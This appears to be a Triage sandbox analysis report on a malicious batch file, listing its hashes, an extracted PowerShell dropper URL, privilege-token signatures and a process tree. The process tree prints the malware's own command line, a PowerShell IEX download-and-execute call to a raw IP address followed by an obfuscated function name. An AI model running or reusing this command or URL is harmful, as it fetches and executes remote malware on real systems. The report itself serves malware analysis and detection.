59b5acd22e28997947f8bf93c568b5825c9d053840f76ce881dd638080c3cec3 | Triage

Analysis

max time kernel
63s
max time network
79s
platform
windows10_x64
resource
win10v200430
submitted
15-05-2020 19:19

Sharing

Report Analysis Logs

General

Target

99360af9cc861d59bad7a24e0049269f.bat
Size

222B
MD5

2ad8582ff0dcde1f8bd57ad18112a3ab
SHA1

3fea34e4ccabf59c98ab20e4e1461db09d3a9c09
SHA256

59b5acd22e28997947f8bf93c568b5825c9d053840f76ce881dd638080c3cec3
SHA512

f3c5e8611e68bba7567da0723c4236f95480b0962e729ca5741af44e87994afaa87b84e2d18c86aaa890301bb87972e1ec5812aae5b931e9b6e9068ab5b4c977

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/99360af9cc861d59bad7a24e0049269f

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1036 WerFault.exe
Token: SeBackupPrivilege 1036 WerFault.exe
Token: SeDebugPrivilege 1036 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe
1036	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1036 800 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\99360af9cc861d59bad7a24e0049269f.bat"
1⤵
PID:2916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/99360af9cc861d59bad7a24e0049269f');Invoke-ADTZUJLMTWMUDJF;Start-Sleep -s 10000"
2⤵
PID:800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 800 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:1036

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1036-0-0x0000000004720000-0x0000000004721000-memory.dmp

Filesize
4KB

Download
memory/1036-1-0x0000000004ED0000-0x0000000004ED1000-memory.dmp

Filesize
4KB

Download